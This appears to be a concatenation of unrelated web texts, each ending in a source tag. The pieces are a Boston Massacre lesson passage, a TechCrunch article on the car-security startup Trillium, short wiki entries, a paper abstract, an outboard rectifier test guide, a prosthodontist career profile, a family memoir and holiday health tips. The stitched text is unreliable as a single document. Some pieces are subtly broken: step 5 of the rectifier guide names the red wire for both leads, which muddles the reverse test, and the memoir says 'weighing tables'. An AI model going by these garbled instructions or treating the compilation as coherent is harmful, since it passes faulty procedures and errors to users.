One day, a group of school-aged boys began protesting outside the shop of a man who remained loyal to the British even though the British issued the taxes in the colonies. People who remained loyal to the British were called Loyalists. The crowd continued to grow in size and aggression. The Loyalist fired shots into the crowd to try to scare them off. Unfortunately, one of the young boys, Christopher Seider, was shot and killed.
The death of a young boy in Boston sent things from bad to much worse. On the night of March 5, 1770, just a few days after Seider was killed, a group of colonists began harassing a small group of British soldiers. They began shouting names and throwing rocks and snowballs. The crowd of colonists began to grow and became increasingly more hostile towards the soldiers. The British soldiers were frightened. Suddenly, a British soldier fired a shot into the crowd, causing other soldiers to fire, too. The first shot fired by the British soldier remains a controversy because no one was sure whether or not the British officer actually gave an order to fire or if the soldier fired on his own.
During the event that became known as the Boston Massacre, five colonists were killed and six were injured. The event made Boston one of the most hostile regions in all of the colonies because it increased tension between the colonists and the British. Boston would remain a place of major conflict and tension for more than five years, and this tension would lead to other events, such as the Boston Tea Party and the Intolerable Acts (these events will be discussed in detail in the next two Related Lessons of this series), that directly contributed to the start of the Revolutionary War.
To learn more about what caused the Boston Massacre, watch History Brief: The Boston Massacre (Reading Through History, below). As you watch the video, write down any important facts or information you hear. You will be able to use the notes you take for an activity in the Got It? section:
When you have finished watching the video, discuss why the colonists responded by rioting the way they did in Boston.
- Why do you think the British soldiers fired?
- What do you think the response was throughout the colonies when they learned about the events in Boston?
When you have finished discussing these questions, move on to the Got It? section to take a short quiz that will allow you to review what you have learned. | FINEWEB-EDU |
Trillium aims to shield your high-tech car against cyberattacks – TechCrunch
Cars these days are basically computers with wheels, and as with other computers, you’ll probably want to make a few changes to protect against cyberthreats. Trillium, presenting today on Disrupt Berlin’s Startup Battlefield stage, is looking to be the security solution for in-car computer systems, adding extra encryption, intrusion detection and other firewall-like features. We’ve already seen demonstrations of cars being hacked while on the road; the danger may be largely theoretical today, but it could make the jump to practical tomorrow. “Hacked cars pose a far greater danger than hacked desktop consumers,” Trillium’s Adrian Sossna told me. “The possible damage that a rogue hacked car can make is vast. It’s already happening, and I am concerned that we will see large hacks in the next 12 months.” It behooves auto manufacturers to inoculate against it, considering how hard they’re pushing connectivity as a marquee feature. Trillium aims to be a one-stop shop for that protection. [gallery ids="1574150,1574153,1574155,1574151,1574154,1574175,1574156,1573916,1574157,1574158,1574174,1574173,1574171"] Trillium’s software lives on the car’s computing hardware, doing a couple of main duties. First, it encrypts all in-car transmissions; this prevents a security soft spot like a backseat media screen or Wi-Fi hotspot from becoming a back door into more critical systems. And second, it watches over the car’s networks for unusual activity that could indicate an intrusion attempt. The software updates itself. To be clear, this isn’t something you’ll plug in and install on your 2014 Accord. You can’t actually fiddle with your car’s internals to that extent — it would be a serious safety hazard if anyone could tweak their car’s engine control unit at will. Instead, it would be built into cars at the model level based on the needs of certain markets. “Trillium’s solution is built to be embedded into the car when it rolls out of the factory,” explained Sossna. “Our future end-customer is a fleet owner that needs to protect its employees, cargo and society at large from car hacks.” So imagine you’re a cab company and you’re going to lease 20 new Priuses (Prii?) to add to your fleet. Looking at the models available, you see some have bigger wheels, some have leather trim, and so on — and some will have Trillium built in. Considering a bad hack could do irreparable damage to your business, you’ll probably want that last option. And eventually, Trillium’s founders theorize, insurance could require this sort of thing, at which point it ceases being an option and becomes a standard safety feature. The pricing model is simple: $10 per car per month (not per day, as I had written here earlier), paid by fleet owners, not drivers or manufacturers — think ambulance and limo companies, metro authorities, and so on. That way it’s a continuing service that justifies itself with frequent updates. Of course, car manufacturers and in-car systems makers are already working on security measures, but Trillium plans to improve on those capabilities — while also working as a turnkey solution that can easily be adapted to nearly any model. Currently the company is working on its final product with OEM, insurance, and Tier 1 supplier partners in Japan. Trillium claims to be hardware, OS, and cypher agnostic, so it can easily be adapted for a new model or deployed across multiple vehicle classes that might not share their network components. It works because their software acts more as a transport layer, not digging deep into the applications and data themselves but just moderating their communications. Cybersecurity in the automotive world is almost certain to become a major market, but it remains to be seen if there’s room for an ambitious startup solution like Trillium’s. | NEWS-MULTISOURCE |
Michael Zittle Jr.
Michael Zittle Jr. (October 5, 1798 – July 5, 1877) or The Wizard of South Mountain was an American occultist, ceremonial magician, author, and mountaineer. He was born to a German father, American mother, and was one of nine children. Zittle became popular in the area as healer, he would offer his services to alleviate a wide array of difficulties, such as compelling a thief to return stolen property, providing a “sure cure for fever," closing a wound from firearms, curing the bite of a mad dog and “dispelling the fear of the darkness of night.”
A Friend In Need
A Friend in Need; Or, Secret Science was a handbook written by Zittle in 1845 on how to perform witchcraft. According to legend, after publication of the book, Zittle lost his powers as a result of trying to commodify his supernatural powers. In 1975, a copy of his book was found by Boonsboro resident Pauline Routzahn. | WIKI |
Modelling other agents through evolutionary behaviours
Yifeng Zeng*, Qiang Ran, Biyang Ma, Yinghui Pan
*Corresponding author for this work
Research output: Contribution to journalArticlepeer-review
4 Citations (Scopus)
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Abstract
Modelling other agents is a challenging topic in artificial intelligence research particularly when a subject agent needs to optimise its own decisions by predicting their behaviours under uncertainty. Existing research often leads to a monotonic set of behaviours for other agents so that a subject agent can not cope with unexpected decisions from the other agents. It requires creative ideas about developing diversity of behaviours so as to improve the subject agent’s decision quality. In this paper, we resort to evolutionary computation approaches to generate a new set of behaviours for other agents and solve the complicated agents’ behaviour search and evaluation issues. The new approach starts with the initial behaviours that are ascribed to the other agents and expands the behaviours by using a number of genetic operators in the behaviour evolution. This is the first time that evolutionary techniques are used to modelling other agents in a general multiagent decision framework. We examine the new methods in two well-studied problem domains and provide experimental results in support.
Original languageEnglish
Pages (from-to)19-30
Number of pages12
JournalMemetic Computing
Volume14
Issue number1
Early online date21 Aug 2021
DOIs
Publication statusPublished - 1 Mar 2022
Keywords
• Evolutionary computation
• Intelligent agents
• Planning and decision making
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How to Test Outboard Rectifiers
by William Hirsch
Use a digital multimeter to test an outboard motor rectifier.
Use a digital multimeter to test an outboard motor rectifier.
Avoid being left out on the water by testing the rectifier diode on your boat motor. Testing the rectifier will give you time to order a new part if it needs replacing. Generally, a bad rectifier leads to starting problems and loss of battery power. Rectifier diodes allow electrical current to flow in only one direction and convert alternating current (AC) into the direct current (DC) that the boat's devices require. Testing a rectifier's resistance in both directions indicates whether it needs to be replaced. Resistance measures the ability of a device to limit current flow in ohms.
1. Turn off power to the outboard motor. Locate the back box with a red and black connected to the motor. Disconnect the red and black wires by hand. Theses are the leads of the rectifier diode.
2. Plug the black test wire of the multimeter into the negative port of the device. Plug the red test wire of the multimeter into the positive port of the device.
3. Turn on the multimeter. Rotate its measurement dial to the resistance setting marked by the capital Greek letter omega. Capital omega is the symbol for ohms.
4. Touch the red wire of the multimeter to the end of the red lead of the outboard rectifier. Touch the black wire of the multimeter to the end of the black lead of the outboard rectifier. The resistance measured should be between 0 and 1 ohm, or the rectifier needs replaced.
5. Connect the red wire of the multimeter black lead of the outboard rectifier. Connect the red wire of the multimeter red lead of the outboard rectifier. The resistance measured should be infinity or the maximum reading possible. Otherwise, replace the rectifier.
Items you will need
• Digital multimeter
References
About the Author
William Hirsch started writing during graduate school in 2005. His work has been published in the scientific journal "Physical Review Letters." He specializes in computer-related and physical science articles. Hirsch holds a Ph.D. from Wake Forest University in theoretical physics, where he studied particle physics and black holes.
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Talk:Bartlesville Monthly Magazine
I do not believe this page should be deleted based solely on the grounds of it only being in circulation for three issues so far. This magazine has become very important to the people of the area.
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Prosthodontists
Prosthodontists are dentists who specializes in crowns, bridges and dentures and other methods to replace missing teeth. Otherwise most of the job description details are similar to that of a dentist.
Dentists diagnose, prevent, and treat problems with teeth or mouth tissue. They remove decay, fill cavities, examine x rays, place protective plastic sealants on children’s teeth, straighten teeth, and repair fractured teeth. They also perform corrective surgery on gums and supporting bones to treat gum diseases. Dentists extract teeth and make models and measurements for dentures to replace missing teeth. They provide instruction on diet, brushing, flossing, the use of fluorides, and other aspects of dental care. They also administer anesthetics and write prescriptions for antibiotics and other medications.
Dentists use a variety of equipment, including x-ray machines; drills; and instruments such as mouth mirrors, probes, forceps, brushes, and scalpels. They wear masks, gloves, and safety glasses to protect themselves and their patients from infectious diseases. Prosthodontists may also create molds and specify manufacturing specifications for the dental bridges and dentures they use to replace missing teeth.
Prosthodontists in private practice oversee a variety of administrative tasks, including bookkeeping and buying equipment and supplies. They may employ and supervise dental hygienists, dental assistants, dental laboratory technicians, and receptionists.
Most dentists are general practitioners, handling a variety of dental needs. Other dentists practice in any of nine specialty areas.Orthodontists, the largest group of specialists, straighten teeth by applying pressure to the teeth with braces or retainers. The next largest group,oral and maxillofacial surgeons, operates on the mouth and jaws. The remainder may specialize as pediatric dentists (focusing on dentistry for children); periodontists (treating gums and bone supporting the teeth);Prosthodontists (replacing missing teeth with permanent fixtures, such as crowns and bridges, or with removable fixtures such as dentures); Endodontists (performing root canal therapy); public health dentists (promoting good dental health and preventing dental diseases within the community); oral pathologists (studying oral diseases); or oral and maxillofacial radiologists (diagnosing diseases in the head and neck through the use of imaging technologies).
Working Conditions
Prosthodonts usually work in small private offices or clinics, sometimes supported by a small staff of assistants and other administrative personnel. They also may spend time performing surgery at hospitals or ambulatory surgical centers. Prosthodontists with private practices set their own hours but may work evenings and weekends to accommodate their patients. The average specialty dentist works approximately 40 hours per week.
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Training and Qualifications - to be a Prosthodontist
Dentists are healthcare practitioners who specialize in oral health. The general dentist usually has a baccalaureate degree with a heavy emphasis on chemistry, biology and physiology followed by a four year program which leads to a Doctor of Dentistry degree. After completing a general dentistry degree a practitioner desiring to specialize in prosthedontics will serve in a residency program specializing in prosthedontics. Upon graduating from the residency program he or she will specialize in the area of dentistry known as prosthedontric dentistry.
Licensing and Credentialing
In all 50 states and the U.S. Territories the practice of dentistry is regulated. The usual method to be a credentialed and licensed dentist is:
1) Possess the amount of training and/or a degree from an accredited school of dental medicine
2) Graduate from a Prosthodontic Residency program
3) Pass a national exam
4) Apply for licensure in the state you wish to practice in.
Significant Points for the Prosthodontist Job Description
Most dentists are solo practitioners.
Dentists usually complete at least 8 years of education beyond high school.
A residency in Prosthodontic dentistry is required to specialize in this area
Employment is projected to grow more slowly than average, and most job openings will result from the need to replace the large number of dentists expected to retire.
Job prospects should be good.
The management of a prosthodontic dental practice requires the same skills as for a small business; accounts receivable, hiring employees, and business overhead are just a few of the many details that will have to be dealt with.
Advancement - chances for promotion
The majority of Prosthodontists are engaged in private practice. Unless they work for a major corporation or form a group practice promotions and advancement will be limited. Increases in salary will come from raising their fees and/or passing on rising costs to the consumer. For those who are employed advancement will vary depending on the size of the organization. | ESSENTIALAI-STEM |
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Joseph G. Giacalone was born in Palermo, Sicily. Immigrated to Watertown, NY at the age of five with his father Antonio on October 5, 1955. At the time his mother Carmela along with the older brother Frank were already established in Watertown where Carmela had a cousin Tony Surdi who owned a popular family restaurant. Frank worked there weighing tables and washing dishes, when the restaurant closed after the summer was over, Frank worked as a tailor he was very good. Carmela worked as a seamstress, to support the family. After living a year in Watertown unable to find a job because he spoke no English, Antonio decided to write to his cousin in Brooklyn, NY. and asked him for help, if we all could temporary move to his home until he found an apartment to live in. He said no problem and we all packed and moved to our new location in Dyker Heights a very nice section in Brooklyn. To our amazement it was like almost being back in Italy, practically everyone spoke Italian. Carmela was glad, because she spoke no English, even though she was a native American born in Baltimore, MD. She was taken back to Italy by her parents at the age of 3. She found a job as a seamstress where they spoke Italian so she was a very happy and a hard worker too. Antonio found a job as a welder through with the help of his cousin who was connected. Frank found a job as a tailor in a very exclusive men's store in Manhattan. And I went to elementary school, which was a horrible time. I was teased by other students because I could not speak english well. But I made a promise to myself to learn english well and lose the Italian accent, so that I would never be teased again. When I was in the fourth grade after a few months I skipped to the 5th grade. While going to school from the 5th grade and up I found that I had a natural passion for film making. My parents bought me an 8mm camera and an 8mm projector to make home movies. The only thing missing was a film editor to splice the film. My parents eventually bought one for me and that's how I got started in the film business. | WIKI |
Stresses come in many forms, but the main categories are physical, chemical and emotional. As we enjoy the holiday season it’s time to get on the front foot and plan to minimise the stress loads on your body and mind, while still having a good time. Here are some tips relating to food and chemical stress:
Fibre Up
At the event (or before you go), fill up on foods high in fibre, such as leafy greens, sprouts, beans, squash, etc, as well as lean proteins. Avoid lots of potatoes, rice and bread with your main meal – these break down quickly into sugars, causing stress for your pancreas, liver, and lead to weight gain. Foods higher in fibre and protein will not break down quickly (in the case of protein, not at all) into sugars, instead releasing energy more slowly.
Savour it
Don’t worry – you don’t have to miss out on all the yummy food. Just try smaller portions and eat slowly. When you take the time to really savour and enjoy your food, your stomach will have the time to send those ‘I’m full’ messages to your brain, and you won’t feel like stuffing yourself.
Drink lots of water
Sometimes we feel hungry or fatigued when what we really need is to be hydrated. Water will energise you as well as make you feel a little fuller. Water is also a much healthier alternative than soft drinks or alcoholic drinks. If you really enjoy a glass or two of wine or beer, alternate each glass with a glass of water. You’ll feel so much better for it.
Ease the Mind
Get enough sleep When you’ve got so much on, it’s tempting to cut short your sleep to fit it all in. But humans need around 8 hours of sleep every day. Sleep deprivation is very unhealthy to your body and mental state. It creates a stress response in your body, reducing the effectiveness of your immune system and altering your metabolism, among many other physiological changes. Getting enough sleep will make resisting unhealthy temptations and maintaining your workout routine and diet easier. The last thing you need is to try to resist that double chocolate fudge brownie on only 3 or 4 hours of sleep. Getting proper sleep and being in a physiologically rested state tends to ease your mind and prevent the anxiety and depression that can accompany busy and stressful periods.
Think Ahead
As you plan for the coming year, consider easy ways to improve your spine and nervous system function This can be as simple as adding a 5 to 15 minute walking break to your day, signing up for a yoga class, or finally replacing your old mattress. Caring for your body, and having this as part of your weekly routine, creates a healthy mind as well as a healthy body. Most importantly, look after yourself and spend as much quality time as possible with yourself, family and friends. | ESSENTIALAI-STEM |
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